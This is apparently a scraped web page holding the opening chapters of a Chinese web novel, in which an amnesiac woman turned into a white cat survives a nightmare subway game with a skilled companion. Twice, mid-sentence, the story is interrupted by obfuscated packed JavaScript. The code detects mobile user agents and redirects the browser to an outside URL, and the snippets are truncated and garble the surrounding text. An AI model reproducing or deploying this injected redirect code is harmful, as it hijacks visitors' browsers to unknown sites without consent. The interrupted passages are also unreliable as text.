《我咪咪喵喵地就通关了》 1. 遗书写给何人 “乘客们,列车马上就要进站了,本次列车终点站:冬亥路。” “请乘客们有序候车,上下车当心缝隙……” 列车进站了。 风随之呼啸而来,地铁站未尽的播报声被撕碎,听不分明。 轰响声让她睁开了眼。 人声鼎沸,列车也缓缓停靠站台。 但首先映入她眼帘的,是地板上的一个长形的木牌。 木牌左右两侧都打了孔,看上去本应有绳子穿过,但现在空荡荡的。 上面还写了两个字,但若隐若现,看不分明,似乎快要消失—— 她费力地眯起眼,终于能看清前面木牌上的字。 “朝云……?” 她看清了,心头立刻冒出两个笃定的念头: 一、这是我的名字,我就是朝云。 二、这木牌是我的东西,而且非常重要。 ——虽然不知道为什么,但朝云打心眼里认为木牌十分重要,看着木牌不在身边,她心里涌上了浓浓的不安。 必须要马上收好它才行。 朝云想着,朝木牌迈步,却立刻发现自己并非“走”过去——她的身体不听使唤地往前蹿了一下。 她低头,“脚”呢?这毛绒绒、圆滚滚、一瓣一瓣,像山竹似的,是什么东西? 朝云茫然地又往前走了一步。 这回,是她的“左脚”,同样像个山竹。 嘶…… 好像哪里不太对劲? 她刚想说点什么,喉咙里滚出的却是一声短促的、她自己都陌生的“咪”。 朝云的脑袋发沉,想要抬手撑住头。 但却是两只爪子高高抬起,掌心肉垫首先触碰到的是薄薄的、小小的、软软的、弹弹的触感…… 身后有光,把她的影子打在地铁站内花色的瓷砖上。 看着影子,朝云愣了愣,她抬爪,影子也抬爪,她探向刚才肉垫摸到的东西—— 原来是一对耳朵。 朝云紧张起来,尾巴也不受控制地甩了下,我的天,为什么还有尾巴? 朝云用肉垫搓了搓自己的耳朵,耳朵温软有弹性,无论她怎么揉搓,最后都还是两个尖尖的妙脆角,挂在她的脑袋上。 旁边传来人声—— “芜~~~快看呀,小猫咪站起来玩自己的耳朵哎,萌之萌之!” 朝云茫然抬头,没找到是谁在说话。 小猫咪?我吗? 朝云摇了摇头。 不,现在最重要的是那个牌子。 朝云有一种莫名的预感,必须要马上把那个牌子收起来,不然会有很可怕的事情发生。 她努力驯服四肢朝木牌跑过去,虽然四条腿各走各的,但总归是跌跌撞撞地到了木牌子前面。 朝云抬爪,想要按住这个木牌子—— 可另一只黑爪伸出,在她之前,轻巧地推走了木牌。 顺着这只爪子,朝云抬头往上看,面前竟是一只黄瞳黑猫。 它翘着尾巴,弓着身子,歪头看她。 朝云扑过去,但黑猫灵巧地又一推,不仅躲过她的扑,还优雅地绕着木牌走了个八字步。 黑猫又抬起前爪,试探地把木牌往朝云的方向推了推,但她真的向前扑过来时,黑猫又马上就把木牌拢向怀里,并不是真的打算把木牌还给朝云。 朝云眯眼盯着它。 黑猫显然能看出朝云的不满,但它眯了眯眼,似乎很愉悦。 它低头叼起朝云的牌子,轻盈地小跑起来,后腿一蹬就上了扶梯的扶手,又借着扶手跳上了旁边的自动贩卖机顶。 它把木牌放在面前,两只前爪交替摆弄,每当木牌快要掉下来的时候,又会被它推回去。 来来回回,是刻意在朝云面前玩弄这个木牌。 朝云收回目光,转而看向扶梯,刚才黑猫就是把它当做垫脚的。 那扶梯比自己高了好几倍,寻常人肯定跳不上去。 但她现在是猫,没道理别的猫能做到,她却不行。 朝云往后退了几步,蓄力,起跳,试图用自己的四肢完成同样优雅而流畅的动作。 但天不遂猫愿。 她四仰八叉地一头撞到扶手的柱子,失败了。 没事,第一次当猫,不熟练是正常的。 朝云晕晕乎乎地站起来,她甩甩头,试图让自己再清醒点。 黑猫低头瞧着她,闲适地抬爪舔了舔。 而在它身边,那木牌上“朝云”二字开始闪烁不定。 又一辆列车进站,站台播报声再次响起时,朝云总算跃上了扶梯的扶手。 听到站台播报,她下意识看向显示列车进站时刻表的屏幕—— 15:03 15:06 15:09 …… 每三分钟就有一个班次的列车进站,她醒来的时候正好有列车,现在是第二辆,说明她已经在这里努力三分钟了,但还是没能拿到那个木牌。 朝云心中愈发焦躁不安。 她的第六感在疯狂预警,不能再耽搁了,必须马上拿到木牌,否则就真的来不及了。 失去记忆,就是失去过往经验的辅助判断,她现在不知道为什么来不及、也不知道是什么来不及,只能选择相信自己的直觉。 朝云用后腿支撑着身体,抬头看向扶梯,又转头看了看自动贩卖机的边缘,就这个路线吧,她一定可以的。 周围人来人往,她努力让自己专心。 朝云小巧的鼻子动了动,明亮的圆眼睛专注地盯着自动贩卖机的边角,那是最靠近扶手的地方。 两只前爪微微点地,如弹簧一样缩紧身子,毛绒绒的背部在阳光下有些透明。 小猫神情专注,摒弃所有杂念,就是现在! 朝云用力蹬起后腿,先是成功上了扶梯,她未做停留,身体流畅地转向,前爪朝自动贩卖机的方向伸去—— 成了! 她两只爪子够到了边缘,修长的身体上,所有的肌肉群听她调动,当她前爪扒住自动贩卖机的边缘一角,后爪同时努力蹬上了机子的侧面,转瞬之间,她终于爬上自动贩卖机顶! 没来得及高兴,朝云一抬头,发现自动贩卖机上空空如也。 她四下查看,又在下面看见那只黑猫,它不知何时从自动贩卖机跳下去了,而且这家伙还叼着她的牌子。 意识到自己被发现后,黑猫不仅没跑,还在与她对视,最后才不急不缓地迈开小碎步,优雅地朝楼梯跑去,是与第二批上楼的人群相逆的方向。 不好!臭黑猫!还我牌子! 朝云向下看,自动贩卖机很高,她心中有一丝胆怯,可此刻也顾不了那么多了。 咬咬牙,朝云勇敢地从自动贩卖机跳了下去。 但好在这具小猫咪的身体似乎本身机能就很强,她落地时,身体自然舒展,前爪轻盈地接触地面,后爪紧跟而来,稳稳地停在了两只前爪旁边。 安全着陆! 朝云落地的同时看了一眼时间—— 15:07 还有一分钟。 为什么是一分钟?列车应该是两分钟进站才对,到底是什么时间节点一直在压迫着她的神经。 她一边思考,一边跃上扶梯,飞快地寻找黑猫的影子,在拥挤的人群中,她终于看见了那只黑猫,黑猫已经跑到了下层,但它嘴巴里仍旧叼着她的木牌! 朝云拔腿朝下面狂奔,逆着人群,灵活地在扶梯上跳跃。 其他所有人都好像没有看见朝云似的,但是,猫儿灵活的身影如闪电穿过,在一个拥有栗色长发的美人眼中,留下了残影。 纪雅音转过头去,看见了一个灵敏的白猫,正在追逐一只黑猫。 她不可思议地盯着黑白两猫的追逐大战。 最重要的是,前面那个黑猫叼着的……似乎是噩梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534215|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通行证? …… 朝云紧紧地跟上了那只黑猫,黑猫见状,叼着木牌就飞快地向前跑,朝云抬头,看见它跑的方向是8号出口,不妙,那只黑猫想要出站。 不能让它把木牌带出去! 第六感有如实质,仿佛一把长剑悬在朝云的头顶,随时要砍掉她的小猫脑袋。 朝云发了狠,蓝色的瞳孔逐渐变得狭长,颀长的身躯在每一次跳跃中,都拉到最大的距离,后爪每次收回,都最大幅度地落在前爪旁边。 妙脆角般Q弹的耳朵向后贴在脑袋上,这让她看上去脑袋圆圆,仿佛没有耳朵。 朝云睁圆了眼睛,锁定着黑猫的背影,她努力地让自己快一点,再快一点! 每一次落地!她都!更加!靠近那只坏蛋黑猫! 8号出口就在面前一米不到,朝云伸长的右前爪,已经精准地挂住了黑猫的身体。 当她用尖利的爪子刺入黑猫毛发下的皮肤,那黑猫立刻吃痛,扭头想要揍她,可就在它吃痛张嘴哈气的瞬间,朝云的目标已经切换为了那个被甩飞在半空的木牌。 不好,这东西要飞出地铁站了! 朝云瞪大了眼,瞳孔顿时缩成一条直线,她急中生智,飞快调转身体的方向,借力蹬了一脚那个黑猫,在空中完成了一次完美的转向,白色猫猫扑向了被甩飞出去的木牌。 那只黑猫被她踹了一脚,猝不及防地直接被踢出了地铁站。 木牌离出口越来越近、越来越近,好像要飞出去…… 出口处一层透明水纹,隐隐昭示着那是不可跨越的另一个世界。 可就在木牌离出口十几厘米处,朝云毛绒绒的爪子摁住了它,精准地将它从空中拍了下来。 而在爪子触碰到木牌的一瞬间,上面不断变换的字在瞬间如木刻一般锁定了具体名字,显露出清晰的两个字。 ——朝云。 她趴在地上,粉色的舌头搭在两颗下齿之间,右前爪还按着差点飞出去的木牌,累得直喘气。 被她踹飞到外面那只黑猫,此刻隔着水纹,正死死地盯着她,但绕来绕去,已经无法再进入地铁站了。 这回,轮到朝云叼起属于她的通行证。 正巧头顶一片乌云飘走,外面的日光照进来。 地铁出口的玻璃反射日光,闪进她的眼底。 朝云顺着光的方向望着玻璃,倒影中,她确认了自己现在的样子。 她是一只通体透亮,莹白瘦弱的小猫。 叼着通行证,朝云对着玻璃中的自己发呆。 她怎么变成猫了? 朝云困惑时,一双长靴停在她面前,朝云收回思绪,咬紧了木牌,抬头看过去,这人也要抢自己的木牌吗? 朝云看见了一位很漂亮的栗色长发女子。 她居高临下看着自己,似乎在确认什么。 哦,是在看自己的木牌。 奇异的是,她在这个人面前并没有那种诡异的直觉提醒她危险来临,反而感到放松。 “竟然真的是朝云的噩梦通行证?”纪雅音皱着眉,困惑极了。 朝云的通行证在这里,那朝云的尸体呢? A级噩梦遇到的那个BOSS说,只要随身携带通行证,朝云就还有复活的可能,可是通行证在这里,朝云的尸体去哪了。 纪雅音看向小猫,那小白猫用尖利的牙齿咬住通行证,此刻正警惕地盯着她。 难道说……? 纪雅音脑中冒出一个离谱的猜测。 安静了许久的系统,终于在此刻发出通报声音。 在同一时间,朝云的耳边也响起播报。 【晚上好,共梦者!】 【您此次进入的噩梦是——四季地铁,评级B】 【本次共梦者为50人】 【请携带噩梦通行证,前往终点站冬亥路领取本次噩梦的任务】 【晚安,祝大家做个好梦】 2. 遗书写给何人 站台上。 有一行人警惕地识别出了同伴的身份,正慢慢围拢,成为一个圈。 刚刚还有人在低声交谈,但被突然响起的播报声打断了。 “系统播报怎么现在才响?”有人低声道。 “有新手吧,估计刚才没来得及找噩梦通行证。”旁边的同伴冷冰冰的回复着。 那人不可置信:“B级噩梦还会吞噬新手?进入噩梦五分钟内如果没有拿到通行证,就会被梦主吞噬,成为噩梦的一部分——这可是通用规则之首,但凡通关过一个噩梦,都得把这条刻烟吸肺。” “谁知道呢,这毕竟是噩梦,讲什么逻辑?” 在站台上的共梦者之中,有个男人忽然睁大了眼,错愕地看着手中的通讯器,似乎从对面听到了什么不可思议的情报。 此时,在站台下。 纪雅音皱眉,还在看着小白猫叼着的通行证。 噩梦通行证是系统发放的道具,相当于现实世界中的身份证,如果是不同的人拿到通行证,出现的就是不同的名字。 但是眼前—— 这小白猫叼着朝云的通行证,上面还写着也是朝云的名字。 难道这是朝云? 算了,现在也不是该探究的时候。 纪雅音利落弯腰,决定姑且把小猫当做朝云保护。 她捞起地上的小白猫,准备先上二楼站台再说。 可纪雅音刚转身,却发现地铁站里不知何时挤满了人。 并且,在系统说完最后那句“晚安好梦”之后,所有人都往朝云和纪雅音的方向看来。 原本就想出站的人,现在脚步顿住,贪婪的目光锁定一人一猫。 而原本想要进站,面朝前方的,此刻强硬地将头转了180度,也看向她们。 黑洞洞的眼神毫无感情,刚才还与寻常别无二致的地铁站,现在到处弥漫着诡异的氛围。 地铁站内的灯光时明时灭,整洁的墙壁莫名其妙变得斑驳,刚才光可鉴人的玻璃,悄无声息爬上了两个新鲜的手印。 纪雅音抱猫的手有点抖。 没办法!她的技能对人形的鬼不顶用,真的很可怕啊! 朝云抬头看她一眼,见纪雅音竟然还在发呆,小猫为此感到担心。 她试图用肉垫拍了拍纪雅音的脸——快跑啊姐们儿,再发呆就危险了! “乘客们,列车马上就要进站了,本次列车终点站:冬亥路。” “请乘客们有序候车,上下车当心缝隙……” 列车进站声的播报一响,密密麻麻的乘客齐刷刷爆开了头。 粘稠的血液滚出来,墙壁和周围的人身上全是血,随后有灿烂柔美的雏菊从他们的脖颈中生长,红的白的黄的蓝的紫的煞是好看。 朝云咬死了她的通行证,只觉得现在地铁站到处一片染血的花海更加诡异。 但与朝云不同,刚才还在害怕的纪雅音松了口气。 对的对的。 雏菊人一出现,马上就对味了,只要不是人形的鬼,其他都是小意思。 这时才她意识到,小猫爪子上烫呼呼的肉垫贴在她的脸颊,是与自身体温明显不同的柔软,这也提醒她身边还有同伴,让纪雅音更加安心。 “准备好了吗?”她低头问小猫。 朝云下意识咬紧了通行证,避免再次遗失。 纪雅音做出一个标准的起跑姿势,雏菊人都盯着她看,它们的眼珠子就藏在可爱的小花朵中间,嫩黄色的花蕊一个接一个地突然“睁开眼”。 跑! 纪雅音闷头推开雏菊人,往地铁的扶梯方向跑去。 雏菊人像真的从地面长出来的植物,它们的脚并不会动,只能伸出手,像是摆动绿叶。 面前的一批雏菊人就是如此缓慢地伸出手,想要拉住她,但速度不快,所以都被纪雅音灵活地躲开了。 纪雅音一直跑到扶梯下面,此刻从下往上看这个扶梯,宛如一个开满花的山坡,只是和其他的雏菊人一样,它们发现了纪雅音,就齐刷刷地看向她。 嫩黄色的花蕊彼此相接,一个接一个地突然“睁开眼”,密密麻麻地盯着纪雅音看。 “嘶,有点恶心,”纪雅音低声说,“还好宁洛那个密恐不在。” 宁洛? 朝云捕捉到这个名字,她隐约觉得自己应该认识这个人,可惜记忆中依旧一片空白。 纪雅音单手抱着猫,主动踩上雏菊人伸出的手,却在雏菊人握紧她的鞋子之前,已经借力踩在旁边无法移动的雏菊人肩膀上了。 她的平衡性极强,有几次朝云都以为她要摔倒了,但纪雅音又精准地踩在了下一个雏菊人的肩膀。 她的速度还不慢,一会儿的功夫,就已经快到站台。 朝云这时候注意到,斑驳的地铁站墙面上画着一朵巨大的雏菊花,雏菊满面笑脸,旁边写着一句话。 “温柔对待小生命,轻轻绕开不践踏。” 小生命?谁?花蕊里长眼睛的雏菊人吗? 她看了一眼密密麻麻的雏菊人,它们又伸出了手,虽然缓慢,但的确是想要抓住纪雅音。 好在纪雅音依旧滑不留手,她踩在雏菊人肩膀上灵活穿梭着。 不过,她现在不算践踏么? 哦,等等。 朝云突然想到了个可能性,如果是这样的思路,现在还真不算践踏。 纪雅音抱着猫回到站台,一列地铁停在站台前,车门之上黄灯闪烁,快要关门了。 纪雅音动作加快,干脆没从雏菊人肩膀上下来,依旧维持着一个诡异的平衡,急头白脸地冲向列车。 踩着雏菊人接力前行,纪雅音终于抵达列车。 站在车顶上,纪雅音低头看过去,好奇怪,在这个车厢门里,居然有雏菊人能够进去? 雏菊人不是像朵花一样栽在地里的吗……? 而且这车厢门旁边写了一个“丙”,又是什么意思?编号? 纪雅音隐约有种不妙的预感,考虑到进去的全是雏菊人,谨慎起见,纪雅音没有立刻跳进去,可是列车即将要关门了。 忽然,小猫用肉垫戳了戳她的脸,纪雅音低头看去,看见死死咬着通行证的小猫抬爪指向了地铁的最前列。 纪雅音朝那边看去,她眼前一亮,原来其他共梦者在那边!怎么才8个,她记得系统通报这次有50个人才对。 思考不影响纪雅音奔跑,地铁车顶没有雏菊人阻拦,她腿又长,三下五除二就往最前列的车厢跑去。 最前列的8个人都快急死了。 “快点!人数不够我们进不去!” 纪雅音已经跑到了那一列车厢,朝云在她怀里,正在想着怎么进去的时候,忽然纪雅音朝前一跃,在半空中旋转了一周,随后稳稳踩在了雏菊人的肩上。 纪雅音刚进入到第一列车厢范围内,众人就能够冲进车厢了,现在列车已经开始关闭,只剩一个小缝。 外面的雏菊人像是得到解放,突然可以动作了,纪雅音根本不慌,她抱着怀里的小猫落地,迈开大长腿,踹开扒在门上的雏菊人,然后在车门即将关闭之际,一个侧身滑铲就挤进去了。 动作行云流水,像特技演员似的。 纪雅音拨了拨长发,拉着地铁扶手站起来,长舒一口气,她拍了拍怀里的小猫:“好猫,没有你指路我还反应不过来呢。” 顺着她的动作,朝云把耳朵向下压了压,但是没开口,毕竟她嘴巴里还咬着通行证。 车厢里的有个人,见此勃然大怒。 “你有病吗?不知道我们都在这里等你,很悠闲是吗?你差点把我们都害死!” 纪雅音收起笑容,缓缓抬眸,冰冷的目光落在了说话的人身上。 这人没察觉到纪雅音冷脸,气得脸红脖子粗,还在狂喷。 “这可是B级噩梦,你没听到系统播报吗?要我们带着通行证进入列车中!你在干嘛?还在抱着猫?” “这死猫,要它有什么用——” 他话没说完,就戛然而止。 因为纪雅音不知怎么就到了他面前,抬起一脚直踢他的面门,但在接触到他的鼻梁之前,就稳稳地停下。 她飞踢的时候稳稳当当地站着,两条腿都打得笔直,小猫还被她抱在怀里,车厢里谁都不敢说话。 见他安静,纪雅音才收回了腿,抱着猫在空荡荡的地铁里随意找个位置坐下。 “系统并没有说留在站台的人会死,倒是自乱阵脚的人,都活不久,”纪雅音脸上重新带了笑容,说的话却不客气,“还有,嘴巴放干净点,别惹我。” 这里可是噩梦。 强大的共梦者是通关的秘诀,多少人通关的方式,就是苟到最后靠推图的大佬带飞,纪雅音实力摆在这里,还有谁会不识相地质疑她? 况且现在问题还不是纪雅音,问题是那些雏菊人—— 噼里啪啦。 车门已经关闭,可雏菊人仍旧用力地拍打着车厢,想要进来。 列车亮起红灯,柔和的声音从广播中响起:“请携带通行证的旅客坐在位置上,列车即将出发,行驶期间请勿走动、喧哗、打闹,感谢您的配合。” 还站着的人马上就近坐下了,都颇有默契地没坐在靠近雏菊人的那一侧。 站台上,列车外面的雏菊人还在疯了似的拍打车身,后面的雏菊人开始向上攀爬,踩在了其他雏菊人的身上。 列车发动了。 那些雏菊人更像是发了疯地往上扑,可列车并不会“爱护花花草草”,无情碾过,很多雏菊人就这样葬身车底。 鲜血四溅,几人正对着那边,看见地铁窗户被雏菊人喷发的血涂成发黑的红色,再也看不见站台的“风景”。 不过外面也没有什么风景,离开地铁站后没多久,周围就变成了一片黑暗。 一号车厢里的众人全部噤声默言。 朝云除外,她没有看外面,先扫视了一圈车上的人。 刚才赶车的时候没注意计数,现在从一号车厢看过去,无法辨别后面究竟多少节车厢。 除了她俩之外,还坐着八个乘客,他们的手腕上都有这个木牌,用红绳系在手腕上。 朝云想起她的木牌,那上面并没有红绳。 她又侧头看向一号车厢后面的车厢。 车厢和车厢之间是没有门的,所以可以将后面的车厢一览无余。 后面的车厢里也有雏菊人,稀松地坐着,地铁内并不拥挤,为什么有少部分雏菊人能上车? 忽然,眼角似乎看见了一个穿着冬季校服的女孩正在看她,女孩察觉到猫猫的目光后吓了一跳,赶紧躲了起来。 朝云困惑,怎么会这样,后面车厢里应该都是雏菊人才对? 可是等朝云想要再去看,却发现那个女孩已经消失了。 刚刚是错觉? 不。 朝云下意识否认了这个的念头,心中腾起一句话:在噩梦中,不存在错觉。 她记下刚才那一瞥,收回了目光。 雏菊人们都安安静静地坐着,如果不是脑袋开花,看不出和普通乘客有什么区别。 纪雅音也不紧张,进出那么多次噩梦,这场景还不能把她镇住。 她伸手,把绑在自己手腕上的通行证取下来,解开了上面的红绳,咬掉了一半,又重新绑好在自己手腕上。 而多出来的这一节红绳,她在朝云面前晃了晃。 “朝云,你怎么连通行证的绳子都弄掉了,我给你重新绑上。” 通行证? 对,朝云想起来了,这个木牌是噩梦通行证,它需要用特制的红绳才能系好。 刚才纪雅音可是抱着她极限“地铁跑酷”,几度危险之时,她都没有把朝云丢出去,可见她是值得信任的。 而且,只有用红绳才能固定住通行证,她竟然就这么扯掉了一截,分给了自己。 朝云看了一眼抱着她的漂亮女人,隐隐意识到,这人似乎认识自己,而且关系很好。 纪雅音把朝云嘴里一直叼着的通行证绑好,通行证正常是系在手腕上的,但猫猫哪来的手腕? 她思来想去,最后系在了朝云的脖子上。 通行证立马缩成了正正好好的大小,紧紧贴在朝云的脖子上,既不会让她感觉不适,也不会行动不便。 朝云伸出爪子,挠了挠脖子上的通行证,说实话,如果不能是触碰到,它还以为这东西不存在呢。 朝云身形莹白瘦弱,原本看上去和野猫很像,但现在戴上了一个挂件,就像是一只有家的小猫。 “咳咳。” 有个男人清了清嗓子,众人都看向他。 这个男人衣着干练,朝云看他一眼就想起来了,在她撞扶梯时这个人曾经从她旁边路过。 男人开口自我介绍:“大家好,刚才情况紧急,没来得及正式做自我介绍,我叫王修齐,这是第三次进入B级噩梦。” 其他人没吭声,抱着猫的纪雅音笑眯眯地捧场:“你好老王。” 王修齐尴尬地笑了笑,继续说。 “现在看来,这个噩梦很有可能是个解密型的,应该不需要我们彼此竞争,所以我提议大家以合作为主,可以吗?” 说是“可以吗”,但王修齐的目光主要还是看向纪雅音,毕竟都能看得出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534216|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她的实力目前是当之无愧的第一,而且很不好惹的样子。 纪雅音这会儿却十分好脾气地笑,人畜无害,看上去只是个非常平凡的漂亮女生,一点儿也没有刚才威胁别人的样子。 “可以呀,”纪雅音抱着朝云,无意识地捏了捏她的肉垫,“我叫纪雅音,希望能够和大家一起通关。” 纪雅音? 王修齐听到她的名字,脸上出现了一丝喜色:“是南明芮团队的纪雅音吗?” 纪雅音点了点头。 但除了王修齐之外,其他人都有些茫然。 王修齐却明显松了口气:“太好了,有你们在,通关这个噩梦就把握更大了!” 但还是刚才那个气红脸的男人开了口:“谁管你的,很有名吗?我看你是徒有其——” “嘘,先别说话!” 突然,有个一直沉默的女生开口,厉声提醒他。 原来不知何时,一个雏菊人静悄悄地出现在两节车厢的连接处,并且还在往一号车厢挪动。 只是大放厥词的男人看着雏菊人并不畏惧。 刚刚在外面等纪雅音的时候,大家都对付过这个雏菊人,它们看着可怕,但实际没什么杀伤力,动作还很迟缓,只是喜欢用手抓住人。 就算被抓住也没事,用力挣扎掉就行。 见其他人都对出现的无害雏菊人保持警惕,包括刚刚那个很狂的美女也严肃起来,他嗤之以鼻。 男人冷笑,破口大骂:“一个破花,不知道你们有什么可害怕的,不都是高手么?嗯?现在怎么都哑巴了?” 雏菊人听见他的声音,朝他的方向走来。 那男人慌了一瞬,但很快镇定下来,无所谓,反正只是被抓住,甩开就是了—— 雏菊人走向这个男人,随后把一只手缓缓伸向了他的脖颈,男人想要躲开,可不知何时,雏菊人的另一只手竟然稳当地固定住了他。 这是什么速度? 他想挣扎,却无法抵抗,竟然纹丝不动。 坏了,车上的这些雏菊人,和外面那些好像不一样。 男人脸色一变。 其他人都安静地看着他,没有谁起来帮助他,因为车厢连接处再次悄无声息地出现了另一个雏菊人。 朝云发现,这两个雏菊人和外面那些家伙有细微的差别。 她的目光落在了它们的红色袖章上,写着“列车员”三个字。 这两个雏菊人是来维持乘车纪律的。 小猫咪眨眨眼,想到了刚才的广播。 ——携带通行证的旅客请坐好,列车行驶期间,不要喧哗、走动、打闹。 所以,那个男人应该触犯了喧哗的纪律。 男人挣扎无果,只能被控制在原地不动,眼睁睁看着雏菊人的手缓慢而明确地伸向他的脖子。 像是被蜗牛追杀,可怕的不是它的快慢,是你清清楚楚看见了自己的终点。 雏菊人的手终于捏住了他的脖子,手上力道缓缓加重,窒息感袭来,由于大脑缺少血液,以至于无法正常思考。 怎么办?该怎么办?怎么没人来救救他,那个很狂的女人呢? 混乱之中,他仿佛瞥到了纪雅音在笑嘻嘻地看着他死——羞耻感与窒息感叠加,把他逼到死角。 这实际上纯属错觉,因为纪雅音正在看隔壁的二号车厢,疑惑为什么那边没有列车员?针对人类吗? 至于这个被列车控制住的男人?简单,只要他闭嘴不要发出声音就能活,难道他没发现么? 其他雏菊人的花蕊中间是眼睛,只有拽住他的这个雏菊人的花蕊中间是耳朵。 男人显然没注意到这点。 非但如此,他还在激烈地喊叫挣扎,他又想到刚才纪雅音直接踩在这些雏菊人的头上都没事,之前他们在等人齐的时候,偏偏那个叫王修齐的劝阻他们伤害雏菊人。 管他的,现在都快死了,必须要反击—— 他手中突然出现一把匕首。 朝云倒是在关注他的动向,这会儿见他拿匕首,有点不解。 明明老老实实不说话就能活下来,这人在作什么死? 那个男人抬起匕首,扎进了雏菊花中间。 关注这边的人纷纷错愕,没想到他的方式这么激进,而且为什么要攻击花朵部分啊?王修齐之前在站台上都说了不要伤及花朵。 雏菊人被攻击了花朵之后,像泄气的皮球,直愣愣地收回手,倒在了地上。 男人终于得以喘息,立马捂住脖子,喘着粗气,恶狠狠地扫视一圈,本来想质问为什么没人帮他。 但是,他却发现大家在怜悯地看着自己,就连嚣张的纪雅音都是如此。 什、什么意思…… “你不该攻击花朵的。”王修齐惋惜地叹气,“你触犯了规则,唉,让噩梦先得了一分。” 像四级地铁这样的任务型噩梦,如果能够顺利完成任务,解开梦主的心结,就可以通关。 当然,也有另一种通关方式,那就是噩梦“吃饱”了,中断任务,把剩下的人吐出去—— B级噩梦的共梦者有50人,只要有25人死在噩梦中,那也视为通关。 那男人看出自己死路一条,当场崩溃—— “凭什么!?纪雅音不是也攻击了这个破花吗?凭什么!?” 纪雅音见他死到临头还在拉自己下水,忍不住翻了个白眼。 她捏了捏朝云的尾巴。 她可没有攻击雏菊的花朵,她踩的地方,自始至终都是人类的部分。 朝云看着倒在地上的雏菊人。 那受伤的雏菊开始疯狂汲取人类底座的养分,于是人类迅速变成一具干尸,雏菊却恢复了光彩照人的美丽外表。 但花朵不能长期离开花盆存在,所以那朵雏菊宛若一只抱脸虫,以畸快的速度,扑向了刚才攻击它的男人。 雏菊吞吃了他的头发、眼珠、头皮、脸上所有养分都不放过,最后是头骨和牙齿。 男人的尖叫嘶喊声逐渐也被雏菊吞噬。 所有人就这样眼睁睁看着一个人变成了雏菊花的“花盆底座”。 聒噪的人类消失,再次站起来的,是一个新的雏菊人。 雏菊人弯腰,把地上干尸的红袖章拿起来,重新平整地挂在了新的“花盆底座”上。 花蕊打开,耳朵再次裸露出来。 列车员的工作还要继续,它在检查是谁还敢喧哗。 另一个列车员走到了其他人面前。 “请出示您的通行证。” 它的花蕊中长出一张嘴来。 戴着红袖章的雏菊人友好地说。 3. 遗书写给何人 众人的通行证都顺利核验完成,可到了朝云这边,却出了问题。 友好的雏菊人停在朝云和纪雅音的面前站了很久,久到纪雅音已经在思考后路。 如果她杀了这个雏菊人,怎么样可以避免成为它新的花盆底座。 ——雏菊人不知道竟然仍有人敢想着杀自己。 它花蕊里的眼睛盯着白色的小猫,半晌之后,才切换成嘴巴。 “这位乘客,”它柔和地提醒,“请不要坐在其他乘客的身上。” 纪雅音一愣,它盯着朝云这么久,竟然是这个原因? 雏菊人的嘴巴切换成眼睛,看了一会儿,又把嘴巴切换回来,说:“哦,不过这位乘客是只猫,那坐在其他乘客身上,似乎也正常……啧,真难办呐。” 朝云当然不会让列车员难办。 她轻巧地挣开纪雅音的怀抱,绕开她的腿,老老实实地蹲在纪雅音的旁边,然后抬头看向雏菊人,缓慢地眨了眨眼。 雏菊人看着小猫歪头看向自己,心情好得不得了。 “真是乖巧又可爱的乘客呀……”雏菊人赞叹,它蹲下来凑近了朝云,花朵上的眼睛争先恐后地想要靠近朝云,把这只可爱的小猫印在脑海中。 这个画面其实有点恶心——美丽的雏菊扑到脸前,每一朵花蕊里都有眼睛在盯着她。但凡朝云心态崩塌惊叫出声,恐怕就触犯规则了。 好在朝云稳住了,她不仅稳住,还看出了这雏菊人喜欢猫,于是用脑袋轻柔地蹭了蹭雏菊人的花骨朵。 “哎呀~” 被小猫蹭蹭的雏菊人高兴得要冒泡泡。 它抬手,从自己的花朵里挑了一朵摘下来,放在了朝云的脑袋上。两个妙脆角似的耳朵正好卡住了这朵花。 雏菊人愉悦道:“这位可爱的乘客,祝你有一个愉快的旅程哦。” 朝云开口道谢:"喵。" 两个列车员往下一节车厢走去。 地铁轰隆隆地向前行驶,直到列车员走到了第四节车厢,王修齐才小声开口。 “好了,”他长舒一口气,脊背也放松下来,“现在可以说话了。” 鉴于刚才死了一个,现在车里只剩下八个人一只猫。 纪雅音看向王修齐:“这是你的技能?” 王修齐点头:“对,我可以总结当下一条致命规则,但是如果当前场景有一条以上的致命规则就不行了,我只能识别出来一条。” 纪雅音若有所思:“那也很有用了,目前规则是什么?” 王修齐没有藏私,直言道:“站台上的规则是,要爱护花草,不得伤害践踏。车厢内的规则是,列车员附近的两个车厢内,必须严格遵守乘车纪律。” 纪雅音连连点头,爽朗给他比了个大拇指:“好滴,谢谢共享信息~” “客气了,互帮互助嘛。” 而刚才开口提醒人的女生,眼睛却一眨不眨地盯着朝云头顶的花。 纪雅音直接问她:“这花怎么了?” 那女生梳着乖巧的低马尾,见纪雅音开口询问自己,先是吓了一跳,随后才嗫喏地说:“没、没事……这花好像是个道具来着。” 她又补充:“我叫唐玉,技能是识别到周围新出现的道具,低级道具可以直接鉴定——对了,刚刚列车员的红袖章就是一个身份道具。” 她鼓起勇气,向大佬示好:“如、如果有需要的话,我可以帮忙鉴定一下道具用途。” 纪雅音了然,怪不得她是第一个发现列车员的人。 她看向朝云,伸手碰了碰这花,但它好像长在了朝云头上,没法拿下来,小猫自己也用爪子尝试了下,均未成功。 